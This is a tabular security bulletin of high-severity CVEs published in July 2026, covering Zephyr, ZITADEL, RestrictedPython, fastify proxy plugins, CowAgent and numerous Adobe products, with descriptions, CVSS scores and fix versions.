| zephyrproject--zephyr     | In Zephyr's WireGuard subsystem (subsys/net/lib/wireguard), wg_process_data_message() in wg_crypto.c linearizes an inbound transport-data payload into a fixed pool buffer of CONFIG_WIREGUARD_BUF_LEN bytes before decryption. The call net_buf_linearize(buf->data, data_len, pkt->buffer, ..., data_len) passed the attacker-derived data_len as both the destination capacity and the copy length, defeating the function's internal len = min(len, dst_len) bound. data_len is derived from the received UDP datagram length and is only lower-bounded by wg_ctrl_rcv() (no upper bound). When data_len exceeds                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-12 | 7.4        | <a href="#">CVE-2026-10665</a> |



# High Vulnerabilities

| Primary Vendor -- Product        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                  | CONFIG_WIREGUARD_BUF_LEN - e.g. when the buffer length is lowered below the link MTU, on links with MTU above the buffer size, or via reassembled IPv4/IPv6 fragments that exceed it - the underlying memcpy writes past the end of the pool buffer, an out-of-bounds write (CWE-787). The overflow occurs before the Poly1305 authentication check, so it requires only a valid receiver session index rather than a valid authenticator, and is reachable by a malicious or compromised peer (or an on-path attacker driving an established session) over the network, yielding remote memory corruption and at minimum a reliable denial of service. The defect was present in the WireGuard implementation shipped in Zephyr 4.4.0. The fix adds an explicit data_len > CONFIG_WIREGUARD_BUF_LEN rejection and corrects the linearize call to pass net_buf_max_len(buf) as the destination capacity.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| zephyrproject--zephyr            | Zephyr's dynamic kernel-object tracking (kernel/userspace/userspace.c, formerly kernel/userspace.c) maintains a doubly-linked list (obj_list) of dynamically allocated kernel objects. Iteration over this list in k_object_wordlist_foreach() was performed under lists_lock using the SAFE iterator (which caches the next node), but list removal and freeing of nodes was performed under different, disjoint spinlocks: objfree_lock in k_object_free() and obj_lock in unref_check(). On an SMP system, while one CPU iterated obj_list under lists_lock, another CPU could unlink and k_free() the dyn_obj node that the iterator had cached as its next pointer, causing the iterator to dereference freed kernel memory (use-after-free / dangling list traversal). All of the racing operations are reachable from unprivileged user-mode threads via system calls: k_object_alloc/k_object_alloc_size and k_object_release drive removals through unref_check() (under obj_lock), while k_thread_abort and thread creation drive the iteration through k_thread_perms_all_clear()/k_thread_perms_inherit() (under lists_lock). A deprivileged user thread on a CONFIG_SMP + CONFIG_USERSPACE build can therefore corrupt the kernel's object-tracking structures across the userspace security boundary, yielding kernel memory corruption (potential privilege escalation) or a kernel crash (denial of service). The fix removes objfree_lock and serializes every obj_list modification under lists_lock, including holding it across find+remove in k_object_free() and around unref_check() in k_thread_perms_clear(). Affects CONFIG_SMP+CONFIG_USERSPACE+CONFIG_DYNAMIC_OBJECTS configurations; the defect dates to the 2019 spinlockification (commit 8a3d57b6cc6, first released in v1.14.0) and shipped through v4.4.0. | 2026-07-12 | 7.8        | <a href="#">CVE-2026-10667</a> |
| zhayujie--CowAgent               | A vulnerability was determined in zhayujie CowAgent up to 2.1.1. Impacted is the function _build_image_content/_download_to_data_url of the file agent/tools/vision/vision.py of the component Vision Tool. Executing a manipulation of the argument image can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.1.2 is recommended to address this issue. This patch is called e85290cddcbb5ffc9c235927f4c92e5b4c3ec264. Upgrading the affected component is advised.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-10 | 7.3        | <a href="#">CVE-2026-15330</a> |
| zitadel--zitadel                 | ZITADEL is an open source identity management platform. Prior to 4.15.3, ZITADEL's OAuth2 Token Exchange endpoint for urn:ietf:params:oauth:grant-type:token-exchange does not verify that the subject token belongs to the requesting client or that requested scopes remain within the original token's scopes, allowing a low-privilege token to be exchanged for elevated permissions at another application. This issue is fixed in version 4.15.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 8.1        | <a href="#">CVE-2026-56668</a> |
| zitadel--zitadel                 | ZITADEL is an open source identity management platform. Prior to 3.4.12 and 4.15.2, ZITADEL's OAuth2 and OIDC CodeExchange, RefreshToken, and device token flows fail to verify that the requesting client matches the client that initiated the authorization flow, allowing intercepted grants or refresh tokens to be exchanged under a different client. This issue is fixed in versions 3.4.12 and 4.15.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-10 | 7.4        | <a href="#">CVE-2026-55672</a> |
| zitadel--zitadel                 | ZITADEL is an open source identity management platform. Prior to 4.15.3, ZITADEL Login V2 OIDC and SAML FailedPrecondition error paths return loginSettings.defaultRedirectUri to router.push without applying the isSafeRedirectUri check, allowing an organization or instance administrator to store a javascript or data URI that can execute in a user's browser when an affected login error path is reached. This issue is fixed in version 4.15.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 7.3        | <a href="#">CVE-2026-56667</a> |
| zopefoundation--RestrictedPython | RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, __getitem__, __write__, or __print__ to be shadowed                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 8.3        | <a href="#">CVE-2026-55830</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                            | by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| @fastify/http-proxy--<br>@fastify/http-proxy               | Impact: @fastify/http-proxy versions up to and including 11.5.0 fail to rewrite the request prefix when the prefix segment is URL-encoded. Fastify's router URL-decodes paths for route matching, but request.url retains the original encoded form, and the prefix-rewrite step uses a literal string replace against the decoded prefix. A request that encodes one or more characters of the configured prefix therefore matches the route but skips the rewrite, so the raw encoded path is forwarded to the upstream unchanged. The upstream then decodes the path and serves it, letting an attacker reach upstream paths that the proxy was configured to hide via rewritePrefix, including internal or administrative endpoints. Patches: upgrade to @fastify/http-proxy 11.6.0. Workarounds: none.                                                                                                                                                         | 2026-07-18 | 10         | <a href="#">CVE-2026-16117</a> |
| @fastify/http-proxy--<br>@fastify/http-proxy               | Impact: @fastify/http-proxy versions from 9.4.0 up to and including 11.5.0 fail to validate the resolved WebSocket destination path against the configured rewrite prefix. The WebSocket routing path in WebSocketProxy.findUpstream resolves the destination via the WHATWG URL constructor, which collapses dot segments, so a crafted upgrade request with path traversal sequences can escape the rewrite prefix and reach upstream endpoints that were not meant to be exposed by the proxy. This is a variant of CVE-2021-21322 in a code path that never went through the HTTP fix in fastify/reply-from. Exploitation requires a non-normalizing WebSocket client, since browsers and the ws package normalize the request path before sending, but raw HTTP clients or downstream proxies that forward the request target unchanged make the attack reachable in production topologies. Patches: upgrade to @fastify/http-proxy 11.6.0. Workarounds: none. | 2026-07-18 | 8.7        | <a href="#">CVE-2026-15631</a> |
| @fastify/reply-from--<br>@fastify/reply-from               | Impact: @fastify/reply-from versions from 8.3.1 up to but not including 12.6.4 build the internal URL cache key by concatenating the destination and source path without a delimiter. Different destination and source pairs can therefore produce the same key while resolving to different upstream URLs. When getUpstream selects an upstream from request data, a URL cached for one upstream can be reused for a request intended for another upstream, causing cross-upstream data access and modification. The default configuration is affected. Setting disableCache to true prevents the behavior. Patches: upgrade to @fastify/reply-from 12.6.4. Workarounds: pass disableCache: true when registering the plugin.                                                                                                                                                                                                                                      | 2026-07-18 | 8.7        | <a href="#">CVE-2026-16158</a> |
| AcyMailing Newsletter Team--<br>AcyMailing SMTP Newsletter | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AcyMailing Newsletter Team AcyMailing SMTP Newsletter acymailing allows Blind SQL Injection.This issue affects AcyMailing SMTP Newsletter: from n/a through <= 10.11.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-13 | 9.3        | <a href="#">CVE-2026-57739</a> |
| AcyMailing Newsletter Team--<br>AcyMailing SMTP Newsletter | Missing Authorization vulnerability in AcyMailing Newsletter Team AcyMailing SMTP Newsletter acymailing allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AcyMailing SMTP Newsletter: from n/a through <= 10.11.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57740</a> |
| AcyMailing Newsletter Team--<br>AcyMailing SMTP Newsletter | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AcyMailing Newsletter Team AcyMailing SMTP Newsletter acymailing allows Stored XSS.This issue affects AcyMailing SMTP Newsletter: from n/a through <= 10.11.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57741</a> |
| Adobe--Acrobat Reader                                      | Acrobat Reader is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-17 | 7.8        | <a href="#">CVE-2026-48373</a> |
| Adobe--Adobe Animate 2023                                  | Animate is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-14 | 8.2        | <a href="#">CVE-2026-48345</a> |
| Adobe--Adobe Animate 2023                                  | Animate is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 8.1        | <a href="#">CVE-2026-48349</a> |
| Adobe--Adobe Animate 2023                                  | Animate is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to access sensitive files or directories outside the intended restrictions. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 8.6        | <a href="#">CVE-2026-48350</a> |
| Adobe--Adobe Animate 2023                                  | Animate is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 7.9        | <a href="#">CVE-2026-48346</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| Adobe--Adobe Animate 2023 | Animate is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                              | 2026-07-14 | 7.7        | <a href="#">CVE-2026-48347</a> |
| Adobe--Adobe Animate 2023 | Animate is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                    | 2026-07-14 | 7.7        | <a href="#">CVE-2026-48348</a> |
| Adobe--Adobe Bridge       | Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48311</a> |
| Adobe--Adobe Bridge       | Bridge is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48339</a> |
| Adobe--Adobe Bridge       | Bridge is affected by an Untrusted Pointer Dereference vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48340</a> |
| Adobe--Adobe Bridge       | Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48341</a> |
| Adobe--Adobe Bridge       | Bridge is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48342</a> |
| Adobe--Adobe Bridge       | Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48343</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed. | 2026-07-14 | 9.6        | <a href="#">CVE-2026-48356</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by an Improper Encoding or Escaping of Output vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                              | 2026-07-14 | 9.1        | <a href="#">CVE-2026-48358</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access. Exploitation of this issue does not require user interaction.                                                                                                                                                                                                                           | 2026-07-14 | 8.2        | <a href="#">CVE-2026-47984</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access. Exploitation of this issue does not require user interaction.                                                                                                                                                                                                                           | 2026-07-14 | 8.6        | <a href="#">CVE-2026-47988</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.                                                                                                            | 2026-07-14 | 8.7        | <a href="#">CVE-2026-47994</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.                                                                                                           | 2026-07-14 | 8.1        | <a href="#">CVE-2026-47995</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A high-privileged attacker could exploit this vulnerability to execute malicious SQL commands, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction.                                                               | 2026-07-14 | 7.2        | <a href="#">CVE-2026-47992</a> |
| Adobe--Adobe Commerce     | Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A high-privileged attacker could leverage this                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.6        | <a href="#">CVE-2026-47996</a> |

# High Vulnerabilities

| Primary Vendor -- Product                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                    | vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                                                      |            |            |                                |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could leverage this vulnerability to issue unauthorized server-side requests, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.         | 2026-07-14 | 9.6        | <a href="#">CVE-2026-48259</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to read sensitive files, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed. | 2026-07-14 | 9.6        | <a href="#">CVE-2026-48359</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a Missing Authentication for Critical Function vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                | 2026-07-14 | 8.6        | <a href="#">CVE-2026-48252</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.                                                                  | 2026-07-14 | 8.6        | <a href="#">CVE-2026-48310</a> |
| Adobe--Adobe Media Encoder                         | Media Encoder is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47971</a> |
| Adobe--Adobe Media Encoder                         | Media Encoder is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47976</a> |
| Adobe--Adobe Media Encoder                         | Media Encoder is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48366</a> |
| Adobe--Adobe Media Encoder                         | Media Encoder is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48370</a> |
| Adobe--After Effects                               | After Effects is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48274</a> |
| Adobe--After Effects                               | After Effects is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48367</a> |
| Adobe--Audition                                    | Audition is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47967</a> |
| Adobe--Audition                                    | Audition is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47968</a> |
| Adobe--Audition                                    | Audition is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48309</a> |
| Adobe--Audition                                    | Audition is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48365</a> |
| Adobe--Audition                                    | Audition is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48368</a> |
| Adobe--ColdFusion                                  | ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                           | 2026-07-13 | 8.2        | <a href="#">CVE-2026-48363</a> |
| Adobe--ColdFusion                                  | ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in                                                                                                                                                                                                                                                                                                | 2026-07-13 | 8.2        | <a href="#">CVE-2026-48364</a> |



# High Vulnerabilities

| Primary Vendor -- Product           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                     | the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                                           | 2026-07-14 | 9.6        | <a href="#">CVE-2026-48284</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                               | 2026-07-14 | 9.9        | <a href="#">CVE-2026-48318</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                      | 2026-07-14 | 9.1        | <a href="#">CVE-2026-48319</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                          | 2026-07-14 | 9.3        | <a href="#">CVE-2026-48321</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                           | 2026-07-14 | 9.6        | <a href="#">CVE-2026-48322</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                | 2026-07-14 | 9.1        | <a href="#">CVE-2026-48324</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by a Missing Authentication for Critical Function vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                         | 2026-07-14 | 9.3        | <a href="#">CVE-2026-48325</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                                             | 2026-07-14 | 9          | <a href="#">CVE-2026-48327</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                               | 2026-07-14 | 8.5        | <a href="#">CVE-2026-48320</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                  | 2026-07-14 | 7.7        | <a href="#">CVE-2026-48328</a> |
| Adobe--ColdFusion 2025              | ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                          | 2026-07-14 | 7.7        | <a href="#">CVE-2026-48332</a> |
| Adobe--Content Credentials Rust SDK | CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed. | 2026-07-14 | 8.2        | <a href="#">CVE-2026-48290</a> |
| Adobe--Content Credentials Rust SDK | CAI Content Credentials is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.                                                                                                                               | 2026-07-14 | 7.4        | <a href="#">CVE-2026-48287</a> |
| Adobe--Content Credentials Rust SDK | CAI Content Credentials is affected by an Insufficiently Protected Credentials vulnerability that could result in disclosure of sensitive information. An attacker could leverage this vulnerability to gain unauthorized read access. Exploitation of this issue does not require user interaction.                                                                                                                                                                                                                             | 2026-07-14 | 7.5        | <a href="#">CVE-2026-48295</a> |
| Adobe--Content Credentials Rust SDK | CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this                                                                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 7.5        | <a href="#">CVE-2026-48351</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                              | vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.                                                                                                                                                                                                                                                                          |            |            |                                |
